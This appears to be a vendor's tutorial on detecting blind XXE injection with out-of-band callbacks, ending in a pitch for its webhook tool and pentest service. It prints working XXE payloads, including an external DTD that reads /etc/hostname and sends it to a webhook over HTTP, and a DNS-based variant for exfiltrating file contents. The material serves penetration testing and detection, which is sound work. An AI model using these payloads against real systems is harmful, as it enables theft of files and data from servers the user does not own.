Detecting Blind XXE with Out-of-Band (OOB) Callbacks
Blind XXE (XML External Entity) injection is easy to miss because nothing comes back in the response. The trick is to make the XML parser reach out to a server you control and leak data over that channel — an out-of-band (OOB) exfiltration.
When to suspect XXE
Anywhere the app parses XML you can influence: SOAP endpoints, SAML, SVG/DOCX/XLSX uploads, RSS importers, and old Content-Type: application/xml APIs. If the parser resolves external entities, you’re in.
Step 1 — a simple OOB ping
First confirm the parser calls out at all. Point an external entity at your webhook:
<?xml version="1.0"?> <!DOCTYPE r [ <!ENTITY x SYSTEM "https://webhook.press/<token>/ping"> ]> <r>&x;</r>
If a request for /ping shows up in your dashboard, external entities resolve.
Step 2 — exfiltrate a file with an external DTD
To pull data out, host a parameter-entity DTD and reference it. Save this as your DTD and host it via the payload endpoint:
<!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'https://webhook.press/<token>/echo?d=%file;'>"> %eval; %exfil;
Then trigger it from the target:
<?xml version="1.0"?> <!DOCTYPE r [ <!ENTITY % dtd SYSTEM "https://webhook.press/<token>/p/evil.dtd"> %dtd; ]> <r></r>
The contents of /etc/hostname arrive as the d= query on your /echo endpoint.
Step 3 — DNS when HTTP is filtered
Egress firewalls often block outbound HTTP but allow DNS. Swap the exfil channel to a subdomain and read the leaked value from the DNS log:
<!ENTITY % exfil SYSTEM "http://%file;.<token>.oob.webhook.press/">
The requested hostname (which contains your file data) shows up in the DNS-OOB log even if the connection itself never completes.
Notes
- Data with newlines or special characters may break the URL — target single-line files first (
/etc/hostname,/proc/self/cmdline). - PHP targets can wrap files in
php://filterto base64-encode them for clean exfil. - Billion-laughs and local-only DTDs are separate issues — OOB is about data theft, not just DoS.
Bigger picture
Blind XXE usually means the whole XML surface is under-tested. A manual pentest finds the parser, the reachable files, and the internal services XXE can pivot into.
Try it now — free
Spin up a webhook and OOB endpoint in one click. Need a real pentest? We break in before others do.
Open the tool Book a pentest